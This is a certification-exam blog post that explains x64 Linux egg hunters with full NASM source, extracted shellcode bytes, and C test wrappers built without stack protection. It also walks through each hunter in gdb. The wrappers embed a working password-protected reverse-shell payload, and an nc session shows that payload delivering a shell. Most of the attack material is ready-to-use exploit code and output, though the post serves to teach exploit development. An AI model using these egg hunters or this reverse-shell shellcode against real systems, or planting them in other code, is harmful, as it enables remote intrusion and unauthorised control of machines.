Egg Hunters on Linux (x64)

This blog post is follow-on to my previous post on Linux x86 egg hunters. In case you haven’t got previous experience with egg hunters read at least

In this post you will find x64 versions of egg hunters introduced in Egg Hunters on Linux and analysis of modifications which must be considered on x64 Linux platforms.

Example: Egg hunter without unmapped memory check

Assembly code

; File: egghunter_no_memcheck.nasm
; Author: Petr Javorik
; Size: 22 bytes
; Platform: Linux x64
; Description: x64 Linux egg hunter without memory checking

global _start

section .text

_start:

    ; suppose we know our payload is located somewhere in stack
    ; so let crawler start from RSP
    mov rax, rsp

    ; define egg
    ; note that egg must contain valid opcodes because
    ; it will get executed before payload
    mov edx, 0x464e464e     ; inc esi, dec esi, inc esi, dec esi

search_first_egg:

    inc rax                 ; step to next byte
    cmp dword [rax], edx    ; compare 4 lower bytes in rax and egg in edx
    jne search_first_egg    ; repeat loop if not match

search_second_egg:

    ; CAUTION
    ; Egg will be contained in .data section of binary which
    ; will be created using this egg hunter shellcode
    ; If you are crawling even .data section you must count with that.
    ; Prepend the payload shellcode twice and let the egg hunter find
    ; two consecutive eggs.

    cmp dword [rax +4], edx
    jne search_first_egg

egg_found:

    ; load eip with rax, execute egg, execute payload
    jmp rax

Compiling and testing assembly code

Compile .nasm file into object file(1)

$ nasm -f elf64 -o egghunter_no_memcheck.o egghunter_no_memcheck.nasm

Create binary file from object file

$ ld -o egghunter_no_memcheck egghunter_no_memcheck.o

Check for null bytes(2)

$ objdump -wM intel -d egghunter_no_memcheck | grep " 00"

Extract egg hunter shellcode from binary

$ for i in $(objdump -d egghunter_no_memcheck |grep "^ " |cut -f2); do echo -n '\x'$i; done; echo

Insert it into testing C wrapper

// File: shellcode_no_memcheck.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// remember egg hunter assembly, mov edx, 0x464e464e (high memory first)
#define EGG "\x4e\x46\x4e\x46" // (low memory first)

// this line inserts 1x EGG string to binary .data section
unsigned char egg[] = EGG;

// this line inserts 1x EGG string to binary .data section
unsigned char egghunter[] = \
"\x48\x89\xe0\xba\x4e\x46\x4e\x46\x48\xff\xc0\x39\x10\x75\xf9\x39\x50\x04\x75\xf4\xff\xe0";

unsigned char shellcode[] = \
// revshell, 127.1.1.1:5050, password:somepass
"\xeb\x08\x73\x6f\x6d\x65\x70\x61\x73\x73\x4d\x31\xc9\x6a\x29\x58\x6a\x02\x5f\x6a\x01\x5e\x49\x0f\xaf\xd1\x0f\x05\x48\x89\xc7\x6a\x2a\x58\x41\x51\x68\x7f\x01\x01\x01\x66\x68\x13\xba\x66\x6a\x02\x48\x89\xe6\x48\x83\xc2\x10\x0f\x05\x6a\x02\x5e\x6a\x21\x58\x0f\x05\x48\xff\xce\x79\xf6\x41\x51\x48\x89\xe6\x48\x83\xc2\x08\x0f\x05\x48\x8b\x05\xaa\xff\xff\xff\x48\x89\xf7\x48\xaf\x75\x1e\x41\x51\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x41\x51\x48\x89\xe2\x57\x48\x89\xe6\x6a\x3b\x58\x0f\x05\x6a\x3c\x58\x0f\x05";

main()
{
    printf("Egghunter Length:  %zd\n", sizeof(egghunter) - 1);

    char stack[200];
    printf("Memory location of shellcode: %p\n", stack);

    // these 2 lines insert 2x EGG strings to binary [stack] section
    strcpy(stack, egg);
    strcpy(stack + 4, egg);
    strcpy(stack + 8, shellcode);

    int (*CodeFun)() = (int(*)())egghunter;
    CodeFun();
}

I use password protected reverse shell which connects to 127.1.1.1:5050 which I developed in previous post.

Compile testing C code without buffer overflow stack protection and allow executable stack with -z flag which is passed to the linker

$ gcc -fno-stack-protector -z execstack shellcode_no_memcheck.c -o shellcode_no_memcheck

Let’s inspect what’s happening inside the program with gdb. Set breakpoint to egghunter variable and run the program.

$ gdb -q shellcode_no_memcheck
(gdb) break *&egghunter
(gdb) r
Memory location of shellcode: 0x7fffffffe0b0
(gdb) disas
Dump of assembler code for function egghunter:
=> 0x0000000000601050 <+0>: mov rax,rsp
0x0000000000601053 <+3>: mov edx,0x464e464e
0x0000000000601058 <+8>: inc rax
0x000000000060105b <+11>: cmp DWORD PTR [rax],edx
0x000000000060105d <+13>: jne 0x601058
0x000000000060105f <+15>: cmp DWORD PTR [rax+0x4],edx
0x0000000000601062 <+18>: jne 0x601058
0x0000000000601064 <+20>: jmp rax
0x0000000000601066 <+22>: add BYTE PTR [rax],al

As discussed in Egg Hunters on Linux the egg hunter will scan the stack byte by byte in 4 byte chunks until it meets 4 byte egg sequence. If there is just one occurrence of the egg the egg hunter continues searching till it finds two consecutive egg occurrences (\x4e\x46\x4e\x46\x4e\x46\x4e\x46). Then it points RIP to the beginning of the first egg occurrence and program flow continues by executing two eggs and shellcode itself.

Let’s check egg location. We want to stop the program right after the egg was found.

(gdb) break *0x000000000060105
(gdb) c
(gdb) x/w $rax
0x7fffffffe0b0: 0x464e464e

Egg was found on address 0x7fffffffe0b0 which belongs to stack.

$ cat /proc/69382/maps
...
7ffffffde000-7ffffffff000 rwxp 00000000 00:00 0 [stack]

This simple egg hunter scans just stack which directly contains EGG+EGG+SHELLCODE bytes so first time it encounters EGG it will be the final EGG+EGG+SHELLCODE. Remember that if we would start scanning from .text or .data section it would find just single EGG occurrence first.

Inspecting deeper data pointed to by RAX we see our shellcode ready to be executed

(gdb) x/16bx $rax
0x7fffffffe0b0: 0x4e 0x46 0x4e 0x46 0x4e 0x46 0x4e 0x46
0x7fffffffe0b8: 0xeb 0x08 0x73 0x6f 0x6d 0x65 0x70 0x61 ...

After loading RAX into RIP we can inspect our reverse shell shellcode

(gdb) x/15i $rip
=> 0x7fffffffe0c2: xor r9,r9
0x7fffffffe0c5: push 0x29
0x7fffffffe0c7: pop rax
0x7fffffffe0c8: push 0x2
0x7fffffffe0ca: pop rdi
0x7fffffffe0cb: push 0x1
0x7fffffffe0cd: pop rsi
0x7fffffffe0ce: imul rdx,r9
0x7fffffffe0d2: syscall
0x7fffffffe0d4: mov rdi,rax
0x7fffffffe0d7: push 0x2a
0x7fffffffe0d9: pop rax
0x7fffffffe0da: push r9
0x7fffffffe0dc: push 0x101017f
0x7fffffffe0e1: pushw 0xba13
...

Setting up the nc listener and continuing program execution we get password protected reverse shell

$ nc -l 127.1.1.1 5050
somepass
whoami
maple
...
(gdb) c
process 69717 is executing new program: /bin/dash

Example: Egg hunter with unmapped memory check

In this example I will utilize rt_sigaction() system call for egg hunting. If you haven’t read my previous post you need to read at least the introduction to sigaction() call or sigaction() chapter this paper.

x64 Linux kernel doesn’t contain direct system call to sigaction() anymore. Instead the rt_sigaction() was introduced. The only difference between sigaction() and rt_sigaction() is that the latter has fourth argument size_t sigsetsize which specifies the size in bytes of the signal sets in act.sa_mask and oldact.sa_mask. This argument is currently required to have the value sizeof(sigset_t).

Assembly code

From /usr/include/x86_64-linux-gnu/asm/unistd_64.h we have system call number

define __NR_rt_sigaction           13

From /usr/include/asm-generic/errno-base.h we have EFAULT error number

define EFAULT      14  /* Bad address */

Let’s modify the x86 version of sigaction() egg hunter

; File: egghunter_memcheck.nasm
; Author: Petr Javorik
; Size: 50 bytes
; Description: rt_sigaction() x64 Linux egg hunter with memory checking

global _start

section .text

_start:

xor rsi, rsi   ; uncomment for better stability, size +2 bytes
;xor rdi, rdi   ; uncomment for better stability, size +2 bytes
xor rdx, rdx   ; uncomment for better stability, size +2 bytes
xor r9, r9     ; uncomment for better stability, size +2 bytes

add r9w, 4095   ; page_size-1 (0xfff)
push 8
pop r10         ; sigsetsize argument in rt_sigaction()

next_page:

    ; add 4095 to RSI via bitwise or
    or rsi, r9

next_address:

    inc rsi                 ; align to multiples of 4096 (0x1000)

    ; rt_sigaction() syscall 13
    push 13
    pop rax

    ; execute rt_sigaction()
    ; int rt_sigaction(                 // RAX = 13
    ;   int signum,                     // RDI = NULL
    ;   const struct sigaction *act,    // RSI = current_page
    ;   struct sigaction *oldact,       // RDX = NULL
    ;   size_t sigsetsize               // R10 = 8
    ; );
    syscall

    ; check for EFAULT
    ; Code for EFAULT is -14=0xfffffff2
    ; Checking just for last byte
    cmp al, 0xf2

    ; If EFAULT jump to next page in memory
    jz next_page

    ; If valid memory
    ; set EAX = egg, EDI = pointer_to_address_to_be_checked
    ; scasd compares both registers content
    ; if EAX == [EDI] then EDI+=4 and ZF=1
    mov eax, 0x464e464e
    mov rdi, rsi

    scasd
    jnz next_address    ; jump if EAX != [EDI]

    ; check for second egg occurrence
    scasd
    jnz next_address    ; jump if EAX != [EDI+4]

    ; egg found twice, RDI was increased 2x4 bytes by scasd
    ; so it now points directly to the shellcode
    jmp rdi

scasd instruction stands for scan string dword. Note that unmapped memory addresses are crawled by pages(3) meanwhile mapped addresses by single bytes.

Compiling and testing assembly code

Compile .nasm file into object file(1)

$ nasm -f elf64 -o egghunter_memcheck.o egghunter_memcheck.nasm

Create binary file from object file

$ ld -o egghunter_memcheck egghunter_memcheck.o

Check for null bytes(2)

$ objdump -wM intel -d egghunter_memcheck | grep " 00"

Extract shellcode from binary

$ for i in $(objdump -d egghunter_memcheck |grep "^ " |cut -f2); do echo -n '\x'$i; done; echo

Insert it into testing C wrapper

// File: shellcode_memcheck.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// remember egg hunter assembly, mov edx, 0x464e464e (high memory first)
#define EGG "\x4e\x46\x4e\x46" // (low memory first)

// this line inserts 1x EGG string to binary .data section
unsigned char egg[] = EGG;

// this line inserts 1x EGG string to binary .data section
unsigned char egghunter[] = \
"\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc9\x66\x41\x81\xc1\xff\x0f\x6a\x08\x41\x5a\x4c\x09\xce\x48\xff\xc6\x6a\x0d\x58\x0f\x05\x3c\xf2\x74\xf1\xb8\x4e\x46\x4e\x46\x48\x89\xf7\xaf\x75\xe9\xaf\x75\xe6\xff\xe7";

unsigned char shellcode[] = \
// revshell, 127.1.1.1:5050, password:somepass
"\xeb\x08\x73\x6f\x6d\x65\x70\x61\x73\x73\x4d\x31\xc9\x6a\x29\x58\x6a\x02\x5f\x6a\x01\x5e\x49\x0f\xaf\xd1\x0f\x05\x48\x89\xc7\x6a\x2a\x58\x41\x51\x68\x7f\x01\x01\x01\x66\x68\x13\xba\x66\x6a\x02\x48\x89\xe6\x48\x83\xc2\x10\x0f\x05\x6a\x02\x5e\x6a\x21\x58\x0f\x05\x48\xff\xce\x79\xf6\x41\x51\x48\x89\xe6\x48\x83\xc2\x08\x0f\x05\x48\x8b\x05\xaa\xff\xff\xff\x48\x89\xf7\x48\xaf\x75\x1e\x41\x51\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x41\x51\x48\x89\xe2\x57\x48\x89\xe6\x6a\x3b\x58\x0f\x05\x6a\x3c\x58\x0f\x05";

main()
{
    printf("Egghunter Length:  %zd\n", sizeof(egghunter) - 1);

    char *heapMemory;
    heapMemory = malloc(100000);

    // these 2 lines insert 2x EGG strings to binary [heap] section
    memcpy(heapMemory + 99000, egg, 4);
    memcpy(heapMemory + 99004, egg, 4);
    memcpy(heapMemory + 99008, shellcode, sizeof(shellcode) + 1);

    printf("Memory location of shellcode: %p\n", heapMemory);

    int (*CodeFun)() = (int(*)())egghunter;
    CodeFun();

    free(heapMemory);
}

In this case the egg+egg+shellcode is located in heap segment.

Compile testing C code without buffer overflow stack protection and allow executable stack with -z flag which is passed to the linker

$ gcc -fno-stack-protector -z execstack shellcode_memcheck.c -o shellcode_memcheck

Executing shellcode we get password protected reverse shell on port 5050

$ nc -l 127.1.1.1 5050
somepass
id
uid=1000(maple) ...
...
$ ./shellcode_memcheck
Egghunter Length: 50
Memory location of shellcode: 0x1304010

Analysis with GDB

So what’s going on in this unmapped memory checking egg hunting scenario is exactly the same what was shown in x86 version of this egg hunter. From shellcode_memcheck.c is obvious that compiled binary will contain two single egg occurrencies in .data section and one double egg occurrence in heap section which is directly followed by reverse shell shellcode. In this particular example egg hunter will scan the memory from 0x0000000000000000. We already know that according to the VAS schema first the egg hunter will meet eggs in .data section. Then it should crawl over unmapped memory section between .bss and heap and finally it should find double egg occurrence in the heap itself. Once the double egg is found the program flow is redirected to the beginning of the shellcode. Let’s confirm all of this theory with gdb!

Fire up gdb, set breakpoint to the egg hunter, enable ASLR, run the program and disassemble. ASLR adds unmapped memory between .bss and heap.

$ gdb -q shellcode_memcheck
(gdb) break *&egghunter
(gdb) set disable-randomization off
(gdb) r
(gdb) disas
=> 0x0000000000601060 <+0>: xor rsi,rsi
0x0000000000601063 <+3>: xor rdx,rdx
0x0000000000601066 <+6>: xor r9,r9
0x0000000000601069 <+9>: add r9w,0xfff
0x000000000060106f <+15>: push 0x8
0x0000000000601071 <+17>: pop r10
0x0000000000601073 <+19>: or rsi,r9
0x0000000000601076 <+22>: inc rsi
0x0000000000601079 <+25>: push 0xd
0x000000000060107b <+27>: pop rax
0x000000000060107c <+28>: syscall
0x000000000060107e <+30>: cmp al,0xf2
0x0000000000601080 <+32>: je 0x601073
0x0000000000601082 <+34>: mov eax,0x464e464e
0x0000000000601087 <+39>: mov rdi,rsi
0x000000000060108a <+42>: scas eax,DWORD PTR es:[rdi]
0x000000000060108b <+43>: jne 0x601076
0x000000000060108d <+45>: scas eax,DWORD PTR es:[rdi]
0x000000000060108e <+46>: jne 0x601076
0x0000000000601090 <+48>: jmp rdi

We know that rt_sigaction() returns EFAULT (-14) if address passed via act argument is invalid. First address checked is RSI=0x1000 which of course doesn’t belong to valid address space so after first syscall we get

(gdb) p/x $rax
$1 = 0xfffffffffffffff2
(gdb) p/d $rax
$2 = -14

Then value in RSI is increased by one page and testing is repeated until egg hunter doesn’t meet valid mapped address.

If we set the breakpoint at 0x0000000000601082 we should be able to inspect the very first valid address found by egg hunter

(gdb) break *0x0000000000601082
(gdb) c
(gdb) p/x $rsi
$3 = 0x400000

and RSI indeed contains starting address of process’ .text section

(gdb) info proc mappings
...
Start Addr End Addr Size Offset objfile
0x400000 0x401000 0x1000 0x0 /mnt/hgfs/share/SLAE64_exam/problem3/shellcode_memcheck
0x600000 0x601000 0x1000 0x0 /mnt/hgfs/share/SLAE64_exam/problem3/shellcode_memcheck
0x601000 0x602000 0x1000 0x1000 /mnt/hgfs/share/SLAE64_exam/problem3/shellcode_memcheck

For curious readers the rt_sigaction() returns -22 if valid address passed to act argument. This is error code for EINVAL – invalid argument because there is no valid act structure on given address. But this fact doesn’t bother us.

We have address in valid memory and now egg hunter checks if it contains egg with scasd instruction. scasd compares word loaded in EAX and word pointed to by RDI. If words don’t match program increments the RSI, checks for valid memory, loads RSI into RDI and scasd comparison is executed again

    0x0000000000601076 <+22>:    inc    rsi
0x0000000000601079 <+25>: push 0xd
0x000000000060107b <+27>: pop rax
0x000000000060107c <+28>: syscall
0x000000000060107e <+30>: cmp al,0xf2
0x0000000000601080 <+32>: je 0x601073
=> 0x0000000000601082 <+34>: mov eax,0x464e464e
0x0000000000601087 <+39>: mov rdi,rsi
0x000000000060108a <+42>: scas eax,DWORD PTR es:[rdi]
0x000000000060108b <+43>: jne 0x601076

So our egg hunter is still on address 0x400000. From VAS schema we know that .text, .data and .bss sections are connected without gaps so let the egg hunter find first single egg occurrence in .data section by setting breakpoint to 0x000000000060108d

(gdb) disable 2
(gdb) break *0x000000000060108d
(gdb) c
(gdb) disas
...
0x000000000060107e <+30>: cmp al,0xf2
0x0000000000601080 <+32>: je 0x601073
0x0000000000601082 <+34>: mov eax,0x464e464e
0x0000000000601087 <+39>: mov rdi,rsi
0x000000000060108a <+42>: scas eax,DWORD PTR es:[rdi]
0x000000000060108b <+43>: jne 0x601076
=> 0x000000000060108d <+45>: scas eax,DWORD PTR es:[rdi]
0x000000000060108e <+46>: jne 0x601076
0x0000000000601090 <+48>: jmp rdi
0x0000000000601092 <+50>: add BYTE PTR [rax],al

Now we need to inspect RDI -4 because successful scasd instruction incremented RDI by 4!

(gdb) x/8bx $rdi-4
0x601040 : 0x4e 0x46 0x4e 0x46 0x00 0x00 0x00 0x00

So we have single egg on 0x601040 which belongs to .data section

(gdb) maintenance info sections
...
0x00601020->0x00601124 at 0x00001020: .data ALLOC LOAD DATA HAS_CONTENTS
...

Continuing program execution the egg hunter stops again on the same breakpoint now it found second single egg occurrence

(gdb) c
(gdb) x/8bx $rdi-4
0x601083 : 0x4e 0x46 0x4e 0x46 0x48 0x89 0xf7 0xaf

Quick check of 0x601083 address location confirms our expectations and it indeed resides in .data section.

Next gdb’s continue execution lets the egg hunter crawl over unmapped memory between .bss and heap section.

(gdb) info proc mappings
...
0x601000 0x602000 0x1000 0x1000 /mnt/hgfs/share/SLAE64_exam/problem3/shellcode_memcheck
0x1d33000 0x1d6c000 0x39000 0x0 [heap]
...

We can see there is 0x1d33000 – 0x602000 = 0x1731000 gap. Then it finds the double egg occurrence in the heap.

(gdb) c
(gdb) x/8bx $rdi-4
0x1d4b2c8: 0x4e 0x46 0x4e 0x46 0x4e 0x46 0x4e 0x46

Double egg address does indeed belong to the heap section and if we inspect more bytes from RDI -4 we will find even our reverse shellcode.

(gdb) x/32bx $rdi-4
0x1d4b2c8: 0x4e 0x46 0x4e 0x46 0x4e 0x46 0x4e 0x46
0x1d4b2d0: 0xeb 0x08 0x73 0x6f 0x6d 0x65 0x70 0x61
0x1d4b2d8: 0x73 0x73 0x4d 0x31 0xc9 0x6a 0x29 0x58
0x1d4b2e0: 0x6a 0x02 0x5f 0x6a 0x01 0x5e 0x49 0x0f
...

Stepping through next few instructions executes scasd for second time. Comparison is succesful and RDI is incremented by 4 again thus now pointing to the beginning of the shellcode. RDI is loaded into RIP via jmp instruction and shellcode is executed.

    0x000000000060108a <+42>:    scas   eax,DWORD PTR es:[rdi]
0x000000000060108b <+43>: jne 0x601076
=> 0x000000000060108d <+45>: scas eax,DWORD PTR es:[rdi]
0x000000000060108e <+46>: jne 0x601076
0x0000000000601090 <+48>: jmp rdi

If you want to continue with the reverse shell shellcode analysis you can check my previous post.


(1) Object file contains low level instructions which can be understood by the CPU. That is why it is also called machine code. This low level machine code is the binary representation of the instructions so it can be disassembled by objectdump. Object file is not directly executable.

(2) Shellcode must be free of null bytes because they are used as C string terminators in many C functions. Leaving null bytes in shellcode can lead to undefined shellcode behaviour and hard-to-find bugs.

(3) A page, memory page, or virtual page is a fixed-length contiguous block of virtual memory, described by a single entry in the page table. It is the smallest unit of data for memory management in a virtual memory operating system.


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification

Github code

Student ID: SLAE64 – 1629

Leave a Reply